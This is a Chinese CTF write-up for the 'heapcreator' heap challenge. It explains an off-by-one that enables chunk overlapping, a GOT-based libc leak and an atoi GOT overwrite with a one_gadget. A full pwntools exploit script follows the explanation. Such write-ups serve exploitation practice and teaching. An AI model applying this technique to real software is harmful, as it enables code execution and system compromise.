这题是对chunk Overlapping技巧的练习,比较简单。
程序
解题思路
形成漏洞的原因是因为存在一个off by one漏洞,可以溢出到下一个chunk的size处,这样通过把size修改为一个比较大的值,将其free掉,再分配出来后就会形成chunk堆叠效应。
先分配3个chunk,通过off by one,修改chunk2的size为比较大的值,比如0x61。
修改好后就变成了这样:(不要在意地址的变化,因为我是分好几次截图的)
再把它free掉:
之后把它再分配出来,修改掉其他chunk的heaparray[v1]->content值,将其指向某个got,再调用show_heap既可泄露libc地址。
最后再将某个got改为one_gadget或者system,就能getshell了,我这里改了atoi。
将某个chunk的->content改成了atoi的got地址。
我用的one_gadget,所以是exec_comm
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| from pwn import * r = process("./heapcreator") libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def create(size, content): r.recvuntil(":") r.sendline("1") r.recvuntil(":") r.sendline(str(size)) r.recvuntil(":") r.sendline(content)
def edit(idx, content): r.recvuntil(":") r.sendline("2") r.recvuntil(":") r.sendline(str(idx)) r.recvuntil(":") r.sendline(content)
def show(idx): r.recvuntil(":") r.sendline("3") r.recvuntil(":") r.sendline(str(idx))
def delete(idx): r.recvuntil(":") r.sendline("4") r.recvuntil(":") r.sendline(str(idx))
create(24,'aaa') create(10,'666') create(10,'aaa') edit(0,'\x00'*24+'\x61') delete(1) create(0x50,'bbb')
edit(1,'\x00'*24+p64(0x21)+p64(0x50)+p64(0x602060)) show(1)
r.recvuntil("Content : ") read_got = u64(r.recv(6).ljust(8,'\x00')) libc_base = read_got - libc.symbols['atoi'] edit(1,p64(libc_base+0xf1147))
r.sendline("1") r.interactive()
|